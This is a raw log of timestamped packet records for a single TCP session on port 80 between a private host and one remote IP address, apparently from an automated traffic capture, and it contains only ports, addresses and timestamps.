Aug 27, 2024 20:12:06.670181036 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670186996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670197964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670202971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670209885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670214891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670217991 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670223951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670228958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670234919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670238972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670250893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670258045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670258999 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670264959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670289993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670309067 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670469999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670475006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670485973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670491934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670501947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670506954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670515060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670522928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670526028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670531988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670537949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670543909 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670562983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670584917 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670758963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670763969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670816898 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670872927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670880079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670890093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670897961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670903921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670917034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670921087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670927048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.670932055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670949936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670963049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.670991898 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.671169996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671183109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671190977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671226978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.671334982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671340942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671345949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671351910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671361923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671370983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671376944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671381950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671387911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671394110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671394110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.671397924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671407938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671412945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.671413898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671420097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671426058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671432018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671437025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671442986 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.671444893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.671463966 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.671474934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.671503067 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.672049046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672055960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672061920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672068119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672079086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672087908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672095060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672101021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672107935 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.672142029 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.672303915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672311068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672322989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672327995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672333956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672339916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672346115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672353029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.672364950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.672389984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.674061060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.674067020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.674079895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.674127102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.674168110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.674174070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.674185991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.674190998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.674227953 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.675101995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675139904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675148010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675148010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.675184965 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.675195932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675200939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675219059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675225973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675236940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675250053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.675270081 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.675388098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675395012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675406933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675446033 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.675527096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675534010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675545931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675553083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675591946 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.675677061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675682068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675693989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675699949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675704956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675712109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675724030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675729990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675734997 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.675757885 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.675921917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675932884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675950050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675980091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675986052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.675988913 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.676023960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.676193953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.676245928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.676256895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.676264048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.676304102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.676394939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.676399946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.676412106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.676457882 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.756738901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.756755114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.756764889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.756891012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.756896973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.756908894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.756915092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.756949902 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.756997108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.757030010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757036924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757049084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757086039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.757180929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757188082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757200003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757205963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757249117 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.757327080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757339954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757350922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757390976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.757399082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757405996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757411003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757416964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757427931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757447958 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.757467985 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.757749081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757755041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757766962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757772923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757778883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757785082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.757816076 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.757828951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.758003950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758011103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758024931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758029938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758048058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758055925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758059025 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.758061886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758066893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758074045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758080006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758086920 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.758109093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.758124113 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.758445978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758451939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758462906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758467913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758474112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758479118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758485079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758497000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758502960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758512020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758517981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758518934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.758548021 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.758554935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758560896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758565903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758565903 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.758578062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758584023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758590937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758596897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758608103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.758609056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758620024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.758630037 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.758655071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.759274960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759280920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759293079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759298086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759304047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759336948 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.759365082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.759531021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759537935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759550095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759556055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759562969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759593964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.759612083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.759668112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759675026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759680986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.759711981 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.759727001 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.760821104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.760826111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.760838985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.760885000 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.760905981 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.760929108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.760935068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.760978937 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.761075974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.761080980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.761085987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.761136055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.762103081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762108088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762120008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762157917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762161970 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.762162924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762175083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762213945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.762303114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762306929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762357950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.762852907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762897015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762902975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762908936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.762940884 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.762942076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.762988091 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.762996912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763047934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.763072014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763077974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763089895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763128042 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.763151884 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.763237000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763242960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763256073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763261080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763267040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763273001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763278961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763298035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.763333082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.763508081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763514996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763525963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763530970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763536930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763542891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763556957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763561964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763569117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763569117 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.763600111 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.763609886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.763742924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763748884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763753891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763780117 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.763806105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.763894081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763900995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.763952017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.843617916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.843683004 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.843688965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.843697071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.843709946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.843746901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.843859911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.843867064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.843873978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.843880892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.843888998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.843911886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.843925953 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.844069004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844077110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844089031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844095945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844104052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.844127893 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.844140053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.844305992 CEST	80	49710	147.45.47.253	192.168.2.6
